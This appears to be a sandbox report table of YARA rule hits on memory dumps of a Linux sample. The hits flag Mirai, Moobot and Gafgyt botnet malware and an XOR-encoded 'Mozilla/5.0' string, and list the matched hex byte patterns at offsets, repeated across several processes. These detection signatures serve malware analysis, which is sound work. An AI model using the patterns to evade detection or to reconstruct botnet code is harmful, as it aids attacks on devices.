7045.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7045.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7045.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7045.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7045.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6437.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6497.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7097.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7097.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7097.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7097.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7097.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7097.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7047.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7047.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7047.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7047.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7047.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7047.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6859.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6338.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7247.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7247.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7247.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7247.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7247.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7247.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6497.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6497.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6497.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6497.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6497.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6497.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6748.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6748.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6748.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6748.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6748.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
